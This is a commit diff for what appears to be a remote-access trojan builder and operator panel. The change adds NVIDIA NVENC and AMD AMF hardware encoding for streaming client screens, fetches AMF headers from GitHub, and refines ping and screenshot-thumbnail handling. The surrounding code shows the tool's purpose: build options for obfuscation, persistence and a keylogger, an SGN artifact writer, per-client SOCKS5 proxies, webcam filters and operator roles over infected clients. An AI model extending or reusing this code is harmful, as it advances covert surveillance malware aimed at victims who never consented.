AMF + NVENC control and support
This commit is contained in:
@@ -17,6 +17,8 @@ export type BuildConfig = {
|
||||
disableMutex?: boolean;
|
||||
stripDebug?: boolean;
|
||||
disableCgo?: boolean;
|
||||
enableNvenc?: boolean;
|
||||
enableAmf?: boolean;
|
||||
obfuscate?: boolean;
|
||||
enablePersistence?: boolean;
|
||||
persistenceMethods?: string[];
|
||||
|
||||
@@ -84,6 +84,8 @@ type BuildProcessConfig = {
|
||||
disableMutex?: boolean;
|
||||
stripDebug?: boolean;
|
||||
disableCgo?: boolean;
|
||||
enableNvenc?: boolean;
|
||||
enableAmf?: boolean;
|
||||
obfuscate?: boolean;
|
||||
enablePersistence?: boolean;
|
||||
persistenceMethods?: string[];
|
||||
@@ -398,22 +400,83 @@ function nvcodecHeaderPath(clientDir: string): string {
|
||||
return path.join(clientDir, "third_party", "nvcodec", "nvEncodeAPI.h");
|
||||
}
|
||||
|
||||
function ensureNVCodecHeaderForWindowsCgo(
|
||||
function amfHeaderPath(clientDir: string): string {
|
||||
return path.join(clientDir, "third_party", "amf", "include", "core", "Factory.h");
|
||||
}
|
||||
|
||||
const AMF_REPOSITORY = "https://github.com/GPUOpen-LibrariesAndSDKs/AMF.git";
|
||||
const AMF_REF = "v1.5.2";
|
||||
let amfHeaderProvision: Promise<void> | null = null;
|
||||
|
||||
function copyDirectory(source: string, destination: string): void {
|
||||
fs.mkdirSync(destination, { recursive: true });
|
||||
for (const entry of fs.readdirSync(source, { withFileTypes: true })) {
|
||||
const from = path.join(source, entry.name);
|
||||
const to = path.join(destination, entry.name);
|
||||
if (entry.isDirectory()) copyDirectory(from, to);
|
||||
else if (entry.isFile()) fs.copyFileSync(from, to);
|
||||
}
|
||||
}
|
||||
|
||||
async function ensureAMFHeaders(
|
||||
clientDir: string,
|
||||
sendToStream: (data: any) => void,
|
||||
): void {
|
||||
const headerPath = nvcodecHeaderPath(clientDir);
|
||||
if (fs.existsSync(headerPath)) {
|
||||
sendToStream({
|
||||
type: "output",
|
||||
text: `Native NVENC header: ${headerPath}\n`,
|
||||
level: "info",
|
||||
): Promise<void> {
|
||||
const headerPath = amfHeaderPath(clientDir);
|
||||
if (fs.existsSync(headerPath)) return;
|
||||
|
||||
if (!amfHeaderProvision) {
|
||||
amfHeaderProvision = (async () => {
|
||||
const destination = path.join(clientDir, "third_party", "amf");
|
||||
const temporary = path.join(clientDir, "third_party", `.amf-${process.pid}-${Date.now()}`);
|
||||
sendToStream({
|
||||
type: "output",
|
||||
text: `AMD AMF headers are not cached; fetching ${AMF_REF}...\n`,
|
||||
level: "info",
|
||||
});
|
||||
try {
|
||||
fs.mkdirSync(path.dirname(destination), { recursive: true });
|
||||
const clone = await $`git clone --depth 1 --filter=blob:none --sparse --branch ${AMF_REF} ${AMF_REPOSITORY} ${temporary}`.quiet().nothrow();
|
||||
if (clone.exitCode !== 0) throw new Error(clone.stderr.toString().trim() || "git clone failed");
|
||||
const sparse = await $`git -C ${temporary} sparse-checkout set --no-cone amf/public/include/ LICENSE.txt`.quiet().nothrow();
|
||||
if (sparse.exitCode !== 0) throw new Error(sparse.stderr.toString().trim() || "git sparse-checkout failed");
|
||||
fs.rmSync(destination, { recursive: true, force: true });
|
||||
fs.mkdirSync(destination, { recursive: true });
|
||||
copyDirectory(path.join(temporary, "amf", "public", "include"), path.join(destination, "include"));
|
||||
fs.copyFileSync(path.join(temporary, "LICENSE.txt"), path.join(destination, "LICENSE.txt"));
|
||||
} finally {
|
||||
fs.rmSync(temporary, { recursive: true, force: true });
|
||||
}
|
||||
if (!fs.existsSync(headerPath)) throw new Error(`AMF header was not created at ${headerPath}`);
|
||||
})().catch((error) => {
|
||||
amfHeaderProvision = null;
|
||||
throw error;
|
||||
});
|
||||
return;
|
||||
}
|
||||
throw new Error(
|
||||
"Native NVENC streaming requires Overlord-Client/third_party/nvcodec/nvEncodeAPI.h for Windows CGO builds. Restore the vendored header or run scripts/vendor-nvcodec-headers from the repo root.",
|
||||
);
|
||||
await amfHeaderProvision;
|
||||
}
|
||||
|
||||
async function ensureNVCodecHeaderForWindowsCgo(
|
||||
clientDir: string,
|
||||
sendToStream: (data: any) => void,
|
||||
enableNvenc: boolean,
|
||||
enableAmf: boolean,
|
||||
): Promise<void> {
|
||||
if (enableNvenc) {
|
||||
const headerPath = nvcodecHeaderPath(clientDir);
|
||||
if (!fs.existsSync(headerPath)) {
|
||||
throw new Error(
|
||||
"Native NVENC streaming requires Overlord-Client/third_party/nvcodec/nvEncodeAPI.h for Windows CGO builds. Restore the vendored header or run scripts/vendor-nvcodec-headers from the repo root.",
|
||||
);
|
||||
}
|
||||
sendToStream({ type: "output", text: `Native NVENC header: ${headerPath}\n`, level: "info" });
|
||||
}
|
||||
|
||||
if (enableAmf) {
|
||||
await ensureAMFHeaders(clientDir, sendToStream);
|
||||
const amfPath = amfHeaderPath(clientDir);
|
||||
sendToStream({ type: "output", text: `Native AMD AMF headers: ${amfPath}\n`, level: "info" });
|
||||
}
|
||||
}
|
||||
|
||||
function writeSgnTextArtifact(
|
||||
@@ -1056,7 +1119,12 @@ func runBoundFiles() {
|
||||
}
|
||||
|
||||
if (effectiveOs === "windows" && env.CGO_ENABLED === "1") {
|
||||
ensureNVCodecHeaderForWindowsCgo(clientDir, sendToStream);
|
||||
await ensureNVCodecHeaderForWindowsCgo(
|
||||
clientDir,
|
||||
sendToStream,
|
||||
config.enableNvenc !== false,
|
||||
config.enableAmf !== false,
|
||||
);
|
||||
}
|
||||
|
||||
let ldflags = config.stripDebug !== false ? "-s -w -buildid=" : "";
|
||||
@@ -1230,6 +1298,8 @@ func runBoundFiles() {
|
||||
|
||||
// Base tags: always present regardless of build pass
|
||||
let baseTags: string[] = [];
|
||||
if (config.enableNvenc === false) baseTags.push("no_nvenc");
|
||||
if (config.enableAmf === false) baseTags.push("no_amf");
|
||||
if (config.noPrinting) baseTags.push("noprint");
|
||||
if (config.disableKeylogger) baseTags.push("nokeylogger");
|
||||
if (config.enableWebrtc) baseTags.push("overlord_webrtc");
|
||||
|
||||
@@ -169,6 +169,8 @@ export async function handleBuildRoutes(
|
||||
solRpcEndpoints,
|
||||
stripDebug,
|
||||
disableCgo,
|
||||
enableNvenc,
|
||||
enableAmf,
|
||||
obfuscate,
|
||||
enablePersistence,
|
||||
persistenceMethods,
|
||||
@@ -478,6 +480,8 @@ export async function handleBuildRoutes(
|
||||
disableMutex: safeDisableMutex,
|
||||
stripDebug,
|
||||
disableCgo,
|
||||
enableNvenc: enableNvenc !== false,
|
||||
enableAmf: enableAmf !== false,
|
||||
obfuscate: !!obfuscate,
|
||||
enablePersistence,
|
||||
persistenceMethods: safePersistenceMethods,
|
||||
|
||||
@@ -48,6 +48,15 @@ export function dispatchPingBulk(target: ClientInfo, countValue: unknown): numbe
|
||||
return count;
|
||||
}
|
||||
|
||||
async function waitForManualPing(target: ClientInfo, sentAt: number, timeoutMs = 1500): Promise<boolean> {
|
||||
const deadline = Date.now() + timeoutMs;
|
||||
while (Date.now() < deadline) {
|
||||
if ((target.lastPongAt ?? 0) >= sentAt && target.lastPingNonce === undefined) return true;
|
||||
await new Promise((resolve) => setTimeout(resolve, 10));
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
export async function handleClientCommandRoute(
|
||||
req: Request,
|
||||
url: URL,
|
||||
@@ -87,8 +96,13 @@ export async function handleClientCommandRoute(
|
||||
let success = true;
|
||||
|
||||
if (action === "ping") {
|
||||
sendPingRequest(target, target.ws, "manual", 0);
|
||||
const sentAt = Date.now();
|
||||
const sent = sendPingRequest(target, target.ws, "manual", 0);
|
||||
metrics.recordCommand("ping");
|
||||
if (body?.waitForResult === true) {
|
||||
const updated = sent ? await waitForManualPing(target, sentAt) : false;
|
||||
return Response.json({ ok: true, sent, updated, pingMs: target.pingMs ?? null }, { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
} else if (action === "ping_bulk") {
|
||||
const count = dispatchPingBulk(target, body?.count);
|
||||
metrics.recordCommand("ping_bulk");
|
||||
|
||||
@@ -61,6 +61,18 @@ type ClientRouteDeps = {
|
||||
broadcastNotificationsCleared: (clientId: string) => void;
|
||||
};
|
||||
|
||||
function mergeLiveClientState(result: any) {
|
||||
return {
|
||||
...result,
|
||||
items: (result.items || []).map((item: any) => {
|
||||
const live = clientManager.getClient(item.id);
|
||||
return live
|
||||
? { ...item, online: true, lastSeen: live.lastSeen, pingMs: live.pingMs ?? item.pingMs }
|
||||
: item;
|
||||
}),
|
||||
};
|
||||
}
|
||||
|
||||
export async function handleClientRoutes(
|
||||
req: Request,
|
||||
url: URL,
|
||||
@@ -115,12 +127,12 @@ export async function handleClientRoutes(
|
||||
|
||||
if (user.role === "admin") {
|
||||
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, webcamFilter });
|
||||
return Response.json(result, { headers: deps.CORS_HEADERS });
|
||||
return Response.json(mergeLiveClientState(result), { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
if (user.role === "operator" && isEnrollmentRequest) {
|
||||
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, webcamFilter, builtByUserId: user.userId, requireBuildOwner: true });
|
||||
return Response.json(result, { headers: deps.CORS_HEADERS });
|
||||
return Response.json(mergeLiveClientState(result), { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
const scope = getUserClientAccessScope(user.userId);
|
||||
@@ -132,7 +144,7 @@ export async function handleClientRoutes(
|
||||
const deniedClientIds = scope === "denylist" ? listUserClientRuleIdsByAccess(user.userId, "deny") : undefined;
|
||||
|
||||
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, webcamFilter, allowedClientIds, deniedClientIds });
|
||||
return Response.json(result, { headers: deps.CORS_HEADERS });
|
||||
return Response.json(mergeLiveClientState(result), { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
if (url.pathname === "/api/clients/countries") {
|
||||
@@ -287,9 +299,7 @@ export async function handleClientRoutes(
|
||||
metrics.recordCommand("screenshot");
|
||||
}
|
||||
const fresh = target?.online ? await waitForThumbnail(clientId, 2500) : false;
|
||||
if (fresh) {
|
||||
await new Promise((r) => setTimeout(r, 300));
|
||||
} else {
|
||||
if (!fresh) {
|
||||
await requestThumbnailRegen(clientId);
|
||||
}
|
||||
clearThumbnailRequest(clientId);
|
||||
|
||||
@@ -17,7 +17,7 @@ import { decodeMessage, encodeMessage, type WireMessage, type Hello, type Ping }
|
||||
import * as sessionManager from "../../sessions/sessionManager";
|
||||
import type { SocketData } from "../../sessions/types";
|
||||
import type { ClientInfo } from "../../types";
|
||||
import { clearClientSyncState, handleFrame, handleHello, handlePing, handlePong } from "../../wsHandlers";
|
||||
import { clearClientSyncState, handleFrame, handleHello, handlePing, handlePong, handleScreenshotThumbnailResult } from "../../wsHandlers";
|
||||
import { queueClientDbUpdate, scheduleQueuedClientDbFlush } from "../../client-db-sync";
|
||||
import { getMaxPayloadLimit, getMessageByteLength, isAllowedClientMessageType } from "../../wsValidation";
|
||||
import { stopAllProxiesForClient } from "../socks5-proxy-manager";
|
||||
@@ -789,6 +789,7 @@ export async function handleWebSocketMessage(
|
||||
}
|
||||
break;
|
||||
case "screenshot_result":
|
||||
handleScreenshotThumbnailResult(client, payload);
|
||||
deps.handleNotificationScreenshotResult(client.id, payload);
|
||||
break;
|
||||
case "console_output":
|
||||
|
||||
@@ -247,6 +247,31 @@ export function handlePong(info: ClientInfo, payload: WireMessage) {
|
||||
}
|
||||
}
|
||||
|
||||
export function handleScreenshotThumbnailResult(info: ClientInfo, payload: any): boolean {
|
||||
const requested = isThumbnailRequested(info.id);
|
||||
if (!requested || payload?.error) return false;
|
||||
|
||||
let bytes: Uint8Array | null = null;
|
||||
if (payload?.data instanceof Uint8Array) {
|
||||
bytes = payload.data;
|
||||
} else if (payload?.data instanceof ArrayBuffer) {
|
||||
bytes = new Uint8Array(payload.data);
|
||||
} else if (ArrayBuffer.isView(payload?.data)) {
|
||||
bytes = new Uint8Array(payload.data.buffer, payload.data.byteOffset, payload.data.byteLength);
|
||||
}
|
||||
if (!bytes?.byteLength) return false;
|
||||
|
||||
const rawFormat = String(payload?.format || "jpeg").toLowerCase();
|
||||
const format = rawFormat === "jpg" ? "jpeg" : rawFormat;
|
||||
if (format !== "jpeg" && format !== "webp") return false;
|
||||
|
||||
setLatestFrame(info.id, bytes, format);
|
||||
void requestThumbnailRegen(info.id).then((ok) => {
|
||||
if (ok) notifyThumbnailGenerated(info.id);
|
||||
});
|
||||
return true;
|
||||
}
|
||||
|
||||
export function handleFrame(info: ClientInfo, payload: any): boolean {
|
||||
const bytes = payload.data as unknown as Uint8Array;
|
||||
const header = (payload as any).header;
|
||||
|
||||
Reference in New Issue
Block a user